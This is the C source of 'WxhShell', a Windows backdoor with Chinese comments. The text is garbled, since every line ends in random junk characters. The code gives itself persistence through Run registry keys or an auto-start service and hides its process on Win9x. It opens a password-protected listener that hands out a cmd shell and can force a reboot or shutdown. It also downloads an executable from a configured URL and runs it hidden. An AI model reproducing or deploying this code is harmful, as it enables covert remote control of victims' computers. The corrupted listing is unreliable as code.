  // 关机 WRbj01v  
  case 'd': { G@\1E+Ip  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IB"w&sBy  
    if(Boot(SHUTDOWN)) (O?.)jEW(.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sN*N&XG  
    else { z"L/G  
    closesocket(wsh); DB|Y  
    ExitThread(0); KnQ*vM*VM  
    } |Nn)m  
    break; J.b9F:&}  
    } ~d4 )/y  
  // 获取shell QB uMJm  
  case 's': { Xm}/0g&7  
    CmdShell(wsh); ~O0 $Suv  
    closesocket(wsh);  hoUD;3  
    ExitThread(0); I\{ 1u  
    break; g" DG]/ev  
  } /QWvW=F2<  
  // 退出 !8d{q)JZ  
  case 'x': { =,=A,kI[;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xb~yM%*c  
    CloseIt(wsh); _x'6]f{n  
    break; mbxZL<ua  
    } HGs $*  
  // 离开 T{.pM4Hd  
  case 'q': { ox~o J|@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m)t;9J5  
    closesocket(wsh); p!7FpxZY  
    WSACleanup(); m@2QnA[ 4  
    exit(1); q4:o#K#  
    break; @ $ ;q ;  
        } 6:[dj*KGmT  
  } rdP[<Y9  
  } 5y [Oj^  
uM IIYS  
  // 提示信息 JN-y)L/>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |O|V-f{l  
} 3 *"WG O5  
  } !Vn\u  
l'-Bu(  
  return; xQ-<WF1i  
} vjGo;+K  
q]ku5A\y  
// shell模块句柄  F2LLN  
int CmdShell(SOCKET sock) x_N'TjS^{  
{ i(%W_d!  
STARTUPINFO si; d9f C<Tp  
ZeroMemory(&si,sizeof(si)); x:NY\._  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |^"1{7)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WdH$JTk1  
PROCESS_INFORMATION ProcessInfo; ~S"+S/z/k  
char cmdline[]="cmd"; .PIL +x*]N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NdA[C|_8}f  
  return 0; &ZlVWK~v  
} ~*&H$6NJS  
VK\X&Y3l  
// 自身启动模式 HSE!x_$  
int StartFromService(void) *k(XW_>  
{ S}m)OmrmA  
typedef struct h,u, ^ r  
{ <sGVR5NR  
  DWORD ExitStatus; / |;RV"  
  DWORD PebBaseAddress; b7?uq9  
  DWORD AffinityMask; zx"s*:O  
  DWORD BasePriority; p?%y82E  
  ULONG UniqueProcessId; WTQ\PANAaR  
  ULONG InheritedFromUniqueProcessId; urs,34h  
}   PROCESS_BASIC_INFORMATION; [[Ls_ZL!=  
;s= l52  
PROCNTQSIP NtQueryInformationProcess; .GP T!lDc  
KEo ,m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E1aHKjLQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?|\ER#z  
T9E+\D  
  HANDLE             hProcess; r ,8 [O  
  PROCESS_BASIC_INFORMATION pbi; bivuqKA  
%ufN8w!p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +;(c:@>@,  
  if(NULL == hInst ) return 0; b;B%q$sntC  
:gv{F} ##  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CAig ]=2'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T@H ^BGs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z!a =dnwHz  
T[w]o}>cW  
  if (!NtQueryInformationProcess) return 0; hn7# L  
!3c\NbU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 64 wv<r]5j  
  if(!hProcess) return 0; u OmtyX  
38Mv25N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fj8z  
n:I,PS0H<  
  CloseHandle(hProcess); q5J5>  
.ljnDL/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;IvY^(YS@;  
if(hProcess==NULL) return 0; DD+7V@  
> ym,{EHK  
HMODULE hMod; !]A  
char procName[255]; q<x/Hat)  
unsigned long cbNeeded; m^!Z_]A![  
n$A9_cHF7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6fE7W>la  
nY[WRt w  
  CloseHandle(hProcess); M~Tuj1?  
v|)4ocFK  
if(strstr(procName,"services")) return 1; // 以服务启动 '|6]_   
w8")w*9Lmg  
  return 0; // 注册表启动 h6L&\~pf  
} #ZUI)9My@  
gMi0FO'  
// 主模块 NR$3%0 nC6  
int StartWxhshell(LPSTR lpCmdLine) (U D nsF  
{ %?1ew  
  SOCKET wsl; X~b X5b[P  
BOOL val=TRUE; |"q5sym8Y_  
  int port=0; Ko| d+  
  struct sockaddr_in door; `z}?"BW|  
`$Y.Y5mGtJ  
  if(wscfg.ws_autoins) Install(); '0;l]/i.  
?.m bK  
port=atoi(lpCmdLine); zF`0J  
C!O0xhs  
if(port<=0) port=wscfg.ws_port; ^x]r`b  
;HfmzY(  
  WSADATA data; i'<[DjMDlm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >%_\;svZG  
g\|PcoLm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L?b~k=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SBu"3ym  
  door.sin_family = AF_INET; +uF>2b6'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TIqtF&@o4  
  door.sin_port = htons(port); #Qw0&kM7I  
l K{hVqpt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .|KyNBn  
closesocket(wsl); 7DogM".}~Q  
return 1; G<z wv3  
} Pjf"CW+A  
vQG5*pR*w  
  if(listen(wsl,2) == INVALID_SOCKET) { n t;m+by  
closesocket(wsl); b<[Or^X ]  
return 1; 5+0gR &|j  
} y-pJF{ R  
  Wxhshell(wsl); 4&lv6`G `  
  WSACleanup(); dA}-]  
FW;?s+Uyx  
return 0; caR<Kb:;*  
HQ_Ok `  
} XAKs0*J>  
wYXQlxdy  
// 以NT服务方式启动 .&iawz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bTNgjc  
{ %bn jgy  
DWORD   status = 0; HXC ;Np  
  DWORD   specificError = 0xfffffff; \[i1JG  
7vKK%H_P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lN 4oW3QT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pZ{+c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hp50J  
  serviceStatus.dwWin32ExitCode     = 0; QD&`^(X1p  
  serviceStatus.dwServiceSpecificExitCode = 0; 2eS~/Pq5=i  
  serviceStatus.dwCheckPoint       = 0; mfn,Gjt3O  
  serviceStatus.dwWaitHint       = 0; ] )\Pqn(  
Lnl(2xD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CJx|?yK2  
  if (hServiceStatusHandle==0) return; U[-o> W#  
K:[F%e  
status = GetLastError(); =U9*'EFr  
  if (status!=NO_ERROR) 9!\B6=r y4  
{ 1z4OI6$Af  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YQvD|x  
    serviceStatus.dwCheckPoint       = 0; X=&ET)8-Y  
    serviceStatus.dwWaitHint       = 0; !dnH 7 "  
    serviceStatus.dwWin32ExitCode     = status; Xza(k  
    serviceStatus.dwServiceSpecificExitCode = specificError; 13=AW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;?i W%:_,  
    return; >z>!Luw  
  } zrgk]n;Pq  
:J@ gmY:C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hBUn \~z  
  serviceStatus.dwCheckPoint       = 0; Qx#"q'2  
  serviceStatus.dwWaitHint       = 0; '@KEi%-^>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9wwqcx)3(  
} B%b4v  
ES7>H  
// 处理NT服务事件,比如:启动、停止 F^BS/Yag  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !9r$e99R  
{ 8qTys8  
switch(fdwControl) 5c0 ZRV#  
{ E6ElNgL  
case SERVICE_CONTROL_STOP: *vxk@ `K~  
  serviceStatus.dwWin32ExitCode = 0; (m/G(wg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,!y$qVg'\f  
  serviceStatus.dwCheckPoint   = 0; ~Ea} /Au  
  serviceStatus.dwWaitHint     = 0; ?P`K7  
  { )9`qG:b'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9}<ile7^  
  } BM .~ 5\  
  return; 6ojo :-%Vf  
case SERVICE_CONTROL_PAUSE: ]Ie 0S~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W+?4jwqw  
  break; *C*U5~Zq7:  
case SERVICE_CONTROL_CONTINUE: 7' V@+5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?mxMk6w  
  break; 6iE<T&$3P  
case SERVICE_CONTROL_INTERROGATE: Fj3a.'  
  break; q ^N7 I@Y  
}; SsDmoEeB[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Otoqu|  
} P* BmHz4KL  
FbFPJ !fb  
// 标准应用程序主函数 051 E6-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f+)L#>Gl?  
{ ,i`,Oy(BI  
&Q#66ev  
// 获取操作系统版本 D'PI1 0t  
OsIsNt=GetOsVer(); ZG8DIV\D7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YZ8>OwQz2  
vw/J8'  
  // 从命令行安装 0 ZKx<]!  
  if(strpbrk(lpCmdLine,"iI")) Install(); L\"d  
|3"KK  
  // 下载执行文件 \?k'4rH  
if(wscfg.ws_downexe) { :J&oX <nF^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vr6w^&[c^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3~ {:`[0Q  
} >@_^fw)  
Fq<A  
if(!OsIsNt) { D'Df JwA  
// 如果时win9x,隐藏进程并且设置为注册表启动 KRRdXx\~  
HideProc(); ~HsJUro  
StartWxhshell(lpCmdLine); >SHhAEF  
} 3bH'H*2  
else qfm|@v|De5  
  if(StartFromService()) ?NsW|w_  
  // 以服务方式启动 X5$Iyis  
  StartServiceCtrlDispatcher(DispatchTable); )F]]m#`  
else &n:.k}/P  
  // 普通方式启动 }|NCboM^_  
  StartWxhshell(lpCmdLine); 9qzHS~l  
<`r>h  
return 0; yWo; a  
} {cVEmvE8  
tg4pyW <  
S_UIO.K  
JL{VD /f  
=========================================== )Y{L&A  
g1"kTh  
=GMkR+<)  
#.)0xfGW)n  
SoSb+\* @h  
>_T-u<E  
" LFRlzz;  
y _k l:Ssa  
#include <stdio.h> )zdQ1&@  
#include <string.h> w+u3*/Zf  
#include <windows.h> 9EibIOD^/  
#include <winsock2.h> Y&Z.2>b  
#include <winsvc.h> cU!vsdR3  
#include <urlmon.h> #?- wm  
d|Lj~x|  
#pragma comment (lib, "Ws2_32.lib") sWnLEw  
#pragma comment (lib, "urlmon.lib") z5*'{t)  
l}A93jSL  
#define MAX_USER   100 // 最大客户端连接数 7?w*]  
#define BUF_SOCK   200 // sock buffer T!)(Dv8@F  
#define KEY_BUFF   255 // 输入 buffer 7n<::k\lb  
5MJS ~(  
#define REBOOT     0   // 重启 &Hs!:43E-<  
#define SHUTDOWN   1   // 关机 {8bSB.?R  
a~y'RyA  
#define DEF_PORT   5000 // 监听端口 ^WWQI+pk  
TJXT-\Vk  
#define REG_LEN     16   // 注册表键长度 07{)?1cod4  
#define SVC_LEN     80   // NT服务名长度 5vnrA'BhBU  
0*{%=M  
// 从dll定义API A;?|& `f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D_zZXbNc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QD]6C2j*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f x+/C8GK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }`m/bgtFX  
oE]QF.n#  
// wxhshell配置信息 j3E7zRm] \  
struct WSCFG { hv>\gBe i  
  int ws_port;         // 监听端口 p9{mS7R9T  
  char ws_passstr[REG_LEN]; // 口令 O)r4?<Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 28d'7El$  
  char ws_regname[REG_LEN]; // 注册表键名 =]0&i]z[.  
  char ws_svcname[REG_LEN]; // 服务名 yEE*B:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i?^L/b`H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FJ)$f?=Qd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ] >E s4 s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'E""amIJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #!+:!_45  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qh\60f>0  
V)N%WX G  
}; "@2-Zdrr1<  
Z"fJ`--  
// default Wxhshell configuration _KAQ}G3  
struct WSCFG wscfg={DEF_PORT, 9CD_ os\h  
    "xuhuanlingzhe", WNrk}LFof  
    1, nZYBE030  
    "Wxhshell", 86F1.ve  
    "Wxhshell", XU(eEnmo m  
            "WxhShell Service", ER.}CM6{[  
    "Wrsky Windows CmdShell Service", O3kA;[f;  
    "Please Input Your Password: ", YT(AUS5n  
  1, 61'XgkacDS  
  "http://www.wrsky.com/wxhshell.exe", ,Ko!$29[  
  "Wxhshell.exe" RPRBmb940  
    }; Wvf ^N(  
l2Rb\4  
// 消息定义模块 $*fMR,~t&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [Z$[rOF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P-"y3 ZE=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {3aua:q  
char *msg_ws_ext="\n\rExit."; HN|%9{VeB  
char *msg_ws_end="\n\rQuit."; )\$|X}uny&  
char *msg_ws_boot="\n\rReboot..."; <7jW _R@  
char *msg_ws_poff="\n\rShutdown..."; -nV9:opD  
char *msg_ws_down="\n\rSave to "; P/_['7  
o?\?@H  
char *msg_ws_err="\n\rErr!"; 1iF1GkLEq  
char *msg_ws_ok="\n\rOK!"; TOQP'/   
/mzlH  
char ExeFile[MAX_PATH]; <wD-qTW  
int nUser = 0; f ) L  
HANDLE handles[MAX_USER]; |&i<bqLw:  
int OsIsNt; d/~9&wLSb  
X=&KayD  
SERVICE_STATUS       serviceStatus; * r7rZFS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e+fN6v5pU  
`e}B2;$A3  
// 函数声明 ' S/gmn  
int Install(void); pTLCWbF?  
int Uninstall(void); Slc\&Eb  
int DownloadFile(char *sURL, SOCKET wsh); p9-K_dw3X@  
int Boot(int flag); @f3E`8  
void HideProc(void); 63IM]J  
int GetOsVer(void); S3Jo>jXS "  
int Wxhshell(SOCKET wsl); Wmv#:U  
void TalkWithClient(void *cs); Ml-6OvQ7g  
int CmdShell(SOCKET sock); DZtsy!xA  
int StartFromService(void); {]4LULq  
int StartWxhshell(LPSTR lpCmdLine); 67FWa   
BnF^u5kv%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /od@!/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [j+sC*  
(KZ{^X?a  
// 数据结构和表定义 5*u+q2\F  
SERVICE_TABLE_ENTRY DispatchTable[] = 8'y$M] e9n  
{ SQ+Gvq%Q]  
{wscfg.ws_svcname, NTServiceMain}, Z6MO^_m2  
{NULL, NULL} F#5~M<`.o  
}; ((%? `y  
h^P#{W!e\  
// 自我安装 jq0O22 -R  
int Install(void) XfIJ4ZM5  
{ W=+ Y|R!  
  char svExeFile[MAX_PATH]; dft!lBN  
  HKEY key; +k R4E23:  
  strcpy(svExeFile,ExeFile); -"9  
:e+jU5;]3  
// 如果是win9x系统,修改注册表设为自启动 C~exi[3  
if(!OsIsNt) { 9_h[bBx-'Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +R75v)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J C}D` h  
  RegCloseKey(key); {R{=+2K!|k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ jlRlt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =:U`k0rn!  
  RegCloseKey(key); 4E}Yt$|  
  return 0; H3oFORh  
    } VuZr:-K/  
  } Z0r'S]fe  
} $3kH~3{]  
else { ba9?(+i$h  
*/S_Icf  
// 如果是NT以上系统,安装为系统服务 *|HY>U.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A^SgI-y|  
if (schSCManager!=0) G=bCNn<  
{ m.0*NW  
  SC_HANDLE schService = CreateService % A0/1{(  
  ( ZSo)  
  schSCManager, >y+B  
  wscfg.ws_svcname, ~)M~EX&pK  
  wscfg.ws_svcdisp, +LJ73 !  
  SERVICE_ALL_ACCESS, K)iF>y|{*q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;<4a*;IO  
  SERVICE_AUTO_START, &uVnZ@o42  
  SERVICE_ERROR_NORMAL, hgE71H\s  
  svExeFile, M)(DZ}  
  NULL, ?Q;=v~-Q  
  NULL, _)iCa3z  
  NULL, :Llb< MY2  
  NULL, EKN~H$.  
  NULL ]eV8b*d6  
  ); %@Jsal'  
  if (schService!=0) PQE =D0  
  { QTnP'5y  
  CloseServiceHandle(schService); #lO Mm9  
  CloseServiceHandle(schSCManager); iN.n8MN=I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8RHUeRX  
  strcat(svExeFile,wscfg.ws_svcname); )O6>*wq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MpOc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5~S5F3  
  RegCloseKey(key); u$`a7Lp,n  
  return 0; /zox$p$?h  
    } @'|~v <<WZ  
  } qxJ\ye+'*  
  CloseServiceHandle(schSCManager); @E8+C8'  
} YchH~m|  
} 3iU=c&P  
O33 `+UV"W  
return 1; f,Ghb~y  
} Gp\ kU:}&  
OcO3v'&  
// 自我卸载 o;R I*I  
int Uninstall(void) VS|2|n1<6  
{ :fJN->wY^s  
  HKEY key; ;9'OOz|+1  
lr$zHI7_`  
if(!OsIsNt) { ^/k*h J{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nT)vNWT=  
  RegDeleteValue(key,wscfg.ws_regname); Ht&Y C<X  
  RegCloseKey(key); |+"(L#wk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,wPr"U+7  
  RegDeleteValue(key,wscfg.ws_regname); W(/h Vt  
  RegCloseKey(key); k|f4Cf,  
  return 0; \.}c9*)  
  } uvS)8-o&F  
} #)VF3T@#'  
} Q=dy<kg']  
else { @|T'0_'  
\lNN Msd&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2b8L\$1q  
if (schSCManager!=0) r,2g^ K)6  
{ PTV:IzoW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3irl (;v  
  if (schService!=0) Ssg&QI  
  { p{dj~ &v  
  if(DeleteService(schService)!=0) { Qe(:|q _  
  CloseServiceHandle(schService); m~ee/&T  
  CloseServiceHandle(schSCManager); Z<{QaY$"  
  return 0; PeEj&4k  
  } E&:,oG2M  
  CloseServiceHandle(schService); | VDV<g5h  
  } k$}fWR  
  CloseServiceHandle(schSCManager); P0jtp7)7  
} .6 ?U@2  
} "tpSg  
P{^6v=8)  
return 1; ~WV"SaA)*U  
} seeB S/%  
IMONgFBS  
// 从指定url下载文件 lU8Hd|@-  
int DownloadFile(char *sURL, SOCKET wsh) 7"D.L-H  
{ -d:Jta!}{  
  HRESULT hr; )dd@\n$6  
char seps[]= "/"; Od)C&N=y  
char *token; 8, >P  
char *file; @"H >niG  
char myURL[MAX_PATH]; R ViuJ;  
char myFILE[MAX_PATH]; >b4eL59  
r" ,GC]  
strcpy(myURL,sURL); |$_sX9\`?|  
  token=strtok(myURL,seps); D. XvG_  
  while(token!=NULL) @Do= k  
  { ~ W]TD@w  
    file=token; 4H]L~^CD  
  token=strtok(NULL,seps); M\Kx'N  
  } k|d+#u[Mj@  
VY\&8n}e(  
GetCurrentDirectory(MAX_PATH,myFILE); iAU@Yg`pt  
strcat(myFILE, "\\"); du^J2m{f  
strcat(myFILE, file); &@YmA1Yu)E  
  send(wsh,myFILE,strlen(myFILE),0); h9W^[6  
send(wsh,"...",3,0); o{[YA} xc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i K? w6  
  if(hr==S_OK) Y:a]00&)#Y  
return 0; 6!FQzFCZq  
else I,8Er2;)  
return 1; czd~8WgOa  
3m)y|$R  
} !C: $?oU  
'!$Rw"K.  
// 系统电源模块 TRq6NB  
int Boot(int flag) R~$qo)v  
{ sLQ^F  
  HANDLE hToken; ~$?ZK]YOrx  
  TOKEN_PRIVILEGES tkp; XOS[No~  
d/DB nZN  
  if(OsIsNt) { K(Bf2Mfq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uW36;3[f#1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sLAQE64\"  
    tkp.PrivilegeCount = 1; <e</m)j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]?[fsdAQW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jg| XH L)  
if(flag==REBOOT) { Jze:[MYS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e**qF=HCw  
  return 0; u4 h4.NHX  
} ZzT9j~  
else { c\ lkD-\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WI-1)1t  
  return 0; y_lU=(%Jd  
} hQDXlFHT  
  } >I&5j/&}+  
  else { s,&Z=zt0R  
if(flag==REBOOT) { |8tilOqI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :G%61x&=Zc  
  return 0; Z>5b;8  
} f=K]XTw~  
else { G*P#]eO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]3.;PWa:  
  return 0; 4@# `t5H  
} DN57p!z  
} ^,T(mKS  
ckE-",G  
return 1; Qn)a/w-  
} Y glmX"fLf  
:^B1~p(?sK  
// win9x进程隐藏模块 !." D]i;  
void HideProc(void) `&ckZiq  
{ e h?zNu2=  
n]o<S+z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N U`  
  if ( hKernel != NULL ) 'kO!^6=4M  
  { Fyatd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JYbL?N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;u46Z  
    FreeLibrary(hKernel); D7Q$R:6|  
  } |imM# wF  
0{}8(  
return; ?QdWrE_  
} dE{dZ#Jfi  
)cMh0SGcM1  
// 获取操作系统版本 \\B(r  
int GetOsVer(void) :emiQ  
{ |"CZT#  
  OSVERSIONINFO winfo; = x)-u8P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EaY?aAuS:  
  GetVersionEx(&winfo); }Sh?S]]`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fdi\hg^x  
  return 1; gu.}M:u  
  else O:{~urV  
  return 0; !Pfr,a  
} m'=Crei  
ywmo#qYe  
// 客户端句柄模块 ,Ae6/D$h/  
int Wxhshell(SOCKET wsl) #r~# I}U  
{ h(u8&MHx  
  SOCKET wsh; ~H<6gN<j(.  
  struct sockaddr_in client; Gk&)08  
  DWORD myID; yEoF4bt  
=Toy Zm\  
  while(nUser<MAX_USER) bUdLs.:  
{ M; tqp8  
  int nSize=sizeof(client); Ee%%d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8COGsWK  
  if(wsh==INVALID_SOCKET) return 1; CXx*_@}MU  
|a`Sc %  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); umH40rX+  
if(handles[nUser]==0) sW'AjI  
  closesocket(wsh); Nv}=L : E  
else Y>dzR)~3[  
  nUser++; '9Xu p  
  } tOd&!HYL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =M [bnq*\  
-[9JJ/7y  
  return 0; ;LPfXpR  
} !v_|zoCEj  
}Gm>`cw-  
// 关闭 socket x$.^"l-vX  
void CloseIt(SOCKET wsh) J~ zUp(>K  
{ ;oKZ!ND  
closesocket(wsh); g._]8{K  
nUser--; kY|utoAP  
ExitThread(0); Y^;ovH~ ve  
} U} e!Wjrc  
0oZ= yh  
// 客户端请求句柄 CR`Q#Yi  
void TalkWithClient(void *cs) u=?.}Pj  
{ BB!THj69a6  
TA`1U;c{n  
  SOCKET wsh=(SOCKET)cs; 6azGhxh  
  char pwd[SVC_LEN]; JHM9  
  char cmd[KEY_BUFF]; Xq]w<$  
char chr[1]; r?lf($ D*  
int i,j; vrhT<+q  
gx8ouOh  
  while (nUser < MAX_USER) { ]}-7_n#cC  
F|o:W75  
if(wscfg.ws_passstr) { G%AbC"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L_uVL#To  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %S@ZXf~:  
  //ZeroMemory(pwd,KEY_BUFF); Jr ,;>   
      i=0; hz;G$cuEE  
  while(i<SVC_LEN) { &0OG*}gi  
4n !aW?%  
  // 设置超时 ,.83m%i  
  fd_set FdRead; 8 S:w7Hr  
  struct timeval TimeOut; 0neoE E  
  FD_ZERO(&FdRead); 8>2.UrC  
  FD_SET(wsh,&FdRead); 0[NZ>7wqMZ  
  TimeOut.tv_sec=8; <CYd+! (  
  TimeOut.tv_usec=0; g:'xae/]S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); * J7DY f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H1pO!>M  
_(W+S`7Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +qtJaYf/0  
  pwd=chr[0]; UqFO|r"M  
  if(chr[0]==0xd || chr[0]==0xa) { 55nlg>j  
  pwd=0; B4c]}r+  
  break; ENl)Ts`y  
  } t9kzw*U9  
  i++; c@!_ /0  
    } 0U(@= 7V  
(Du@ S  
  // 如果是非法用户,关闭 socket F 5bj=mI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u<7/0;D#+  
} knu,"<  
6"L cJ%o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a?I= !js  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v}}F,c(f  
[64:4/<}  
while(1) { !=*g@mgF  
fIx+IL s  
  ZeroMemory(cmd,KEY_BUFF); MnsJEvn/  
9|^2",V  
      // 自动支持客户端 telnet标准   rKe2/4>0X  
  j=0; !1jBC.G1  
  while(j<KEY_BUFF) { 59LZv-l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A2I9R;}  
  cmd[j]=chr[0]; !_]Y~[  
  if(chr[0]==0xa || chr[0]==0xd) { oA7tE u   
  cmd[j]=0; Dzpq_F!;V  
  break; s [RAHU  
  } pz!Zs."f)  
  j++; Avge eJi  
    } m4[;(1  
1*P~!2h  
  // 下载文件 [SjqOTon{  
  if(strstr(cmd,"http://")) { Q,,e+exbb5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B?eCe}*f;B  
  if(DownloadFile(cmd,wsh)) 1jmjg~W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B+|Kjlt  
